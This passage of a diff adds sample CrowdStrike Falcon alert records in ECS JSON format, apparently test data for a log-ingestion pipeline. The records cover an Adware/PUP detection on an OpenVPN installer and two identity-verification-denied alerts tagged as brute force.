"cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2024-08-19T18:44:01.100Z", + "cloud": { + "account": { + "id": "65ddx-c454-45f9-9034-Fdf34353" + } + }, + "crowdstrike": { + "alert": { + "active_directory_authentication_method": 5, + "activity": { + "browser": "Edge 126.0.0", + "device": "LAPTOP-AP7299QV", + "id": "2A8A7C96-0F17-412C-8105-94542784E00D", + "os": "Windows" + }, + "agent_id": "38293534662e48c99f33c61631b3536d", + "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "alert_attributes": 0, + "cid": "4446934rf3fdb64ec3056ddfb96e", + "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "confidence": 80, + "context_timestamp": "2024-08-16T18:43:44.242Z", + "crawled_timestamp": "2024-08-16T18:49:02.798Z", + "created_timestamp": "2024-08-16T18:45:02.987Z", + "data_domains": [ + "Identity" + ], + "description": "A user denied a policy identity verification request", + "display_name": "Identity verification denied", + "end_time": "2024-08-16T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "idp_policy": { + "mfa_factor_type": 32769, + "mfa_provider": 14, + "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", + "rule_name": "admin - RDP Access to TIER-0 Servers" + }, + "ldap_search_query_attack": 16, + "location_country_code": "US", + "location_latitude_as_int": 340726, + "location_longitude_as_int": -1182610, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "Gain Access", + "pattern_id": "51143", + "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "protocol_anomaly_classification": 1, + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 79, + "severity_name": "High", + "show_in_ui": true, + "source": { + "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", + "account_domain": "NET.example.com", + "account_name": "admin.example", + "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", + "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", + "account_sam_account_name": "admin.abcdef", + "account_upn": "admin.abcdef@example.com", + "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", + "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", + "endpoint_address_ip4": "81.2.69.144", + "endpoint_host_name": "ABDC454.net.example.com", + "endpoint_ip_address": "81.2.69.144", + "endpoint_ip_reputation": 128, + "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", + "ip_isp_classification": 9, + "ip_isp_domain": "sioru.com" + }, + "source_products": [ + "Falcon Identity Protection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "Credential Access", + "tactic_id": "TA0006", + "tags": [ + "falcon_complete" + ], + "target": { + "account_name": "HFJFJFFFFFFF$", + "domain_controller_host_name": "APINTAL19DC01", + "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", + "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", + "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", + "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", + "endpoint_host_name": "GH787.net.example.com", + "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", + "service_access_identifier": "HOST/admin.example.com" + }, + "technique": "Brute Force", + "technique_id": "T1110", + "timestamp": "2024-08-19T18:44:01.100Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798Z", + "user_name": "admin.abcdef" + } + }, + "destination": { + "domain": "GH787.net.example.com", + "user": { + "domain": "APINTAL19DC01", + "name": "HFJFJFFFFFFF$" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "end": "2024-08-16T18:43:44.242Z", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "kind": "alert", + "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}", + "severity": 73, + "start": "2024-08-19T18:43:44.242Z" + }, + "host": { + "id": "38293534662e48c99f33c61631b3536d" + }, + "message": "A user denied a policy identity verification request", + "observer": { + "geo": { + "country_iso_code": "US", + "location": { + "lat": 340726, + "lon": -1182610 + } + } + }, + "related": { + "hosts": [ + "NET.example.com", + "ABDC454.net.example.com", + "GH787.net.example.com", + "APINTAL19DC01" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.example", + "admin.abcdef@example.com", + "HFJFJFFFFFFF$", + "admin.abcdef" + ] + }, + "rule": { + "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", + "name": "admin - RDP Access to TIER-0 Servers" + }, + "source": { + "domain": "ABDC454.net.example.com", + "ip": "81.2.69.144", + "user": { + "domain": "NET.example.com", + "name": "admin.example" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "falcon_complete" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0006" + ], + "name": [ + "Credential Access" + ] + }, + "technique": { + "id": [ + "T1110" + ], + "name": [ + "Brute Force" + ] + } + }, + "user": { + "name": "admin.abcdef" + } + }, + { + "@timestamp": "2024-08-19T18:44:01.100Z", + "cloud": { + "account": { + "id": "65ddx-c454-324d-9034-Fdf34353" + } + }, + "crowdstrike": { + "alert": { + "active_directory_authentication_method": 4, + "activity": { + "browser": "Edge126.0.0", + "device": "LAPTOP-ADFVEJM234V", + "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", + "os": "Windows" + }, + "agent_id": "58293534772e48c99f33c61631b3536d", + "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", + "alert_attributes": 0, + "cid": "4446934rf3fdb64ec3056ddfb96e", + "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "context_timestamp": "2024-08-19T18:43:44.242Z", + "crawled_timestamp": "2024-08-19T18:49:02.798Z", + "created_timestamp": "2024-08-19T18:45:02.987Z", + "data_domains": [ + "Identity" + ], + "description": "Auserdeniedapolicyidentityverificationrequest", + "display_name": "Identityverificationdenied", + "end_time": "2024-08-19T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", + "idp_policy": { + "mfa_factor_type": 42669, + "mfa_provider": 11, + "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", + "rule_name": "admin-RDPAccesstoTIER-0Servers" + }, + "ldap_search_query_attack": 16, + "location_country_code": "US", + "location_latitude_as_int": 320316, + "location_longitude_as_int": -12729080, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "GainAccess", + "pattern_id": "45897", + "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "protocol_anomaly_classification": 1, + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 79, + "severity_name": "Medium", + "show_in_ui": true, + "source": { + "account_azure_id": "65ddx-c454-324d-9034-Fdf34353", + "account_domain": "BCD.example.com", + "account_name": "admin.example", + "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", + "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", + "account_sam_account_name": "admin.abcdef", + "account_upn": "admin.abcdef@example.com", + "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", + "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", + "endpoint_address_ip4": "81.2.69.144", + "endpoint_host_name": "ABDC454.net.example.com", + "endpoint_ip_address": "81.2.69.144", + "endpoint_ip_reputation": 118, + "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", + "ip_isp_classification": 8, + "ip_isp_domain": "abc.com" + }, + "source_products": [ + "FalconIdentityProtection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "CredentialAccess", + "tactic_id": "TA0006", + "tags": [ + "falcon_complete" + ], + "target": { + "account_name": "HFJFJFFFFFFF$", + "domain_controller_host_name": "GHPOTAL12578", + "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", + "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", + "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", + "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", + "endpoint_host_name": "GH787.abc.example.com", + "endpoint_sensor_id": "afdsasf3423432nndv3432v", + "service_access_identifier": "HOST/root.demo.com" + }, + "technique": "BruteForce", + "technique_id": "T1110", + "timestamp": "2024-08-19T18:44:01.100Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798Z", + "user_name": "admin.abcdef" + } + }, + "destination": { + "domain": "GH787.abc.example.com", + "user": { + "domain": "GHPOTAL12578", + "name": "HFJFJFFFFFFF$" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "end": "2024-08-19T18:43:44.242Z", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", + "kind": "alert", + "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}", + "severity": 47, + "start": "2024-08-19T18:43:44.242Z" + }, + "host": { + "id": "58293534772e48c99f33c61631b3536d" + }, + "message": "Auserdeniedapolicyidentityverificationrequest", + "observer": { + "geo": { + "country_iso_code": "US", + "location": { + "lat": 320316, + "lon": -12729080 + } + } + }, + "related": { + "hosts": [ + "BCD.example.com", + "ABDC454.net.example.com", + "GH787.abc.example.com", + "GHPOTAL12578" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.example", + "admin.abcdef@example.com", + "HFJFJFFFFFFF$", + "admin.abcdef" + ] + }, + "rule": { + "id": "123324-343-4dfa9E0-8F85-dfaa3242", + "name": "admin-RDPAccesstoTIER-0Servers" + }, + "source": { + "domain": "ABDC454.net.example.com", + "ip": "81.2.69.144", + "user": { + "domain": "BCD.example.com", + "name": "admin.example" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "falcon_complete" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0006" + ], + "name": [ + "CredentialAccess" + ] + }, + "technique": { + "id": [ + "T1110" + ], + "name": [ + "BruteForce" + ] + } + }, + "user": { + "name": "admin.abcdef" + } + }, + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": 